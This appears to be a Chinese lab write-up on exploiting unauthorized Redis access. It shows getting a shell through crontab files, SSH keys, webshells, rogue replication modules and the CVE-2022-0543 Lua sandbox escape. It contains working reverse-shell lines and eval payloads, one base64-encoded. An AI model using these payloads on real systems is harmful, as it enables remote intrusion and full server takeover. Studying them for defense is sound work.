文章目录
1、通过写文件getshell
1.0 通过crontab定时任务进行反弹shell介绍
在对Redis未授权访问进行利用前,先了解一下在常见的Linux发行版环境下,通过crontab定时任务来执行反弹shell的相同点和不同点。
CentOS (本次测试使用CentOS 7)
可以在以下文件夹内找到相关配置文件。
- /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名;
- /etc/crontab 这个文件负责调度各种管理和维护任务。
- /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
- 还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
CentOS 7 环境下,定时任务的执行日志可通过 /var/log/cron 文件查看.
在 /var/spool/cron 目录下,名字为root或其他用户名,不同的用户名,执行命令就是以那个用户身份去执行的,示例如下:
* * * * * bash -i >& /dev/tcp/192.168.3.36/443 0>&1

定时任务的命令执行结果如下,以root身份执行了反弹shell命令:

如果将文件名改为另一个用户名fa1c0n,则会以fa1c0n身份执行反弹shell命令:


如果是在 /etc/cron.d/、/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中这些目录中创建定时文件,则任意文件名都可以,但定时任务内容里要写上用户名,表示由谁来执行定时任务,如下:
* * * * * root bash -i >& /dev/tcp/192.168.3.36/443 0>&1
或:
* * * * * fa1c0n bash -i >& /dev/tcp/192.168.3.36/443 0>&1

定时任务文件 /etc/cron.d/note.txt 中指定了由root用户来执行反弹shell命令,结果如下:

改为由用户fa1c0n来执行命令:

结果如下:

Ubuntu(本次使用Ubuntu 18.04.4)
相比CentOS,Ubuntu在这方面更为严格。在Ubuntu下,在定时任务文件的目录在/var/spool/cron/crontabs/ (放在/etc/cron.d 目录无法执行命令,原因不详),文件名也是需要为用户名,但与CentOS不同的是,文件的权限需要是600 才可以正常执行。这个可通过查看syslog可知。

Ubuntu下,查看cron的日志,除了/var/log/syslog外,还可以开启cron日志记录(Ubuntu默认不开启),开启方式是,将
/etc/rsyslog.d/50-default.conf文件中,将cron.* /var/log/cron.log这一行前面的注释去掉,然后systemctl restart rsyslog.service重启 rsyslog 服务即可。
另外实测发现,反弹shell的命令需要写成 /bin/bash -c <反弹shell命令>的形式才行。而直接跟之前一样写成 <反弹shell命令> 却不行,原因不详。
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.3.36/443 0>&1'
使用其他用户名也是可以的:


1.1 写crontab定时任务进行反弹shell
利用前提条件:
目标Redis进程是以root权限启动;
Redis未授权访问或授权口令已知;
【如果是较高版本的Redis,还得关闭配置保护模式】
关于redis的常用配置项可参考:
https://www.runoob.com/redis/redis-conf.html
其实也可以参考源码目录下的redis.conf 文件,里面对配置项有详细的注释。
这个方式只在CentOS里有效,因为redis默认情况下写文件是644的权限,而前面也说过,在Ubuntu环境下,需要600权限才可以。
所以下面以CentOS 7为例,通过Redis未授权访问漏洞,写crontab定时任务进行反弹shell。
本次测试用的Redis版本为最新的7.0.0 ,不知道之前从哪个版本开始,一些比较危险的属性默认情况下是不允许修改的,比如这里用到的dir、dbfilename,毕竟这已经是公开多年的攻击手法,Redis没有理由不对此进行加固。所以在较新版本中,默认情况下,如果修改上述属性,会报错:

这里为了复现老版本的漏洞,便修改了配置文件/etc/redis.conf,将属性保护模式给关闭,如下:

修改后就可以修改dir、dbfilename属性了,将dir属性指向cron定时任务的目录/var/spool/cron,dbfilename属性为root。
这里要注意要在写入包含定时任务命令的键值时,要再定时任务内容前后添加上若干个换行符\n。由于save保存时,redis会将版本信息以及其他的一些键值写入dbfilename指向的问题,如果没有换行符\n,则其他键值对内容会破坏定时任务的格式,导致定时任务无法被正确解析、执行,如下图:


加上换行符\n后,就可以了 ,如下:


成功执行反弹shell:

1.2 写入ssh公钥
利用前提条件:
redis以root身份运行;
未授权访问或授权口令已知;
服务器开放SSH服务且允许密钥登录. (服务器上/<用户名>/.ssh目录要存在)
先在攻击机上生成rsa公私钥对。
ssh-keygen -t rsa

为了写入方便,先将要写入的数据构造好存放到一个新文件中:
(echo "\n\n\n"; cat id_rsa.pub; echo "\n\n\n") > key.txt

通过Redis未授权写入ssh公钥:
cat key.txt |redis-cli -h centos7 -p 6379 -x set xs

写入ssh公钥后,便可以通过ssh直接登录了。

1.3 写入webshell
利用前提条件:
未授权访问或授权口令已知;
服务器开着WEB服务且WEB目录路径已知.
实测发现如果写jsp webshell,发现会有很多乱码。暂不知如何解决。


写php一句话倒是ok的。
2、通过主从复制getshell
利用的前提条件:
未授权访问或授权口令已知;
4.x <= Redis <= 5.0.5.
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
如今进入云原生时代,各企业都在使用容器、kubernetes进行应用部署已成主流。这种情况下,很多时候一个redis服务部署在一个容器里,那这个容器里一般就除了这个redis服务,就没有其他服务了,包括前面提到的ssh、cron服务,故前面提到的通过写文件来getshell就不可行了。
2018年的时候老外在zeronights 2018安全会议中分享了通过redis主从复制来getshell的方法。(参考[4])
2.1 Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
基于docker来部署redis集群,可参考笔者之前的文章:
https://blog.youkuaiyun.com/mole_exp/article/details/120675803
2.2 Redis扩展模块
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码:
https://github.com/vulhub/redis-rogue-getshell
命令可直接回显:

反弹shell:

3、Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
这里使用vulhub的环境进行复现:

命令可直接回显:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

反弹shell:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzYvNDQzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0

要注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在Vulhub环境(Ubuntu 20.04.4 LTS)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。
参考
[1] https://paper.seebug.org/975/
[2] https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450775177&idx=1&sn=60f333eab252e78452f93c129c566939&scene=21#wechat_redirect
[3] https://github.com/vulhub/vulhub/tree/master/redis
[4] https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
[5] https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
[6] https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
本文详细介绍了在CentOS和Ubuntu系统中通过crontab定时任务执行反弹shell的方法,涉及Redis的未授权访问利用,如写入文件、SSH公钥和webshell,以及利用Redis主从复制和Lua沙盒绕过的安全漏洞。


7499

被折叠的 条评论
为什么被折叠?



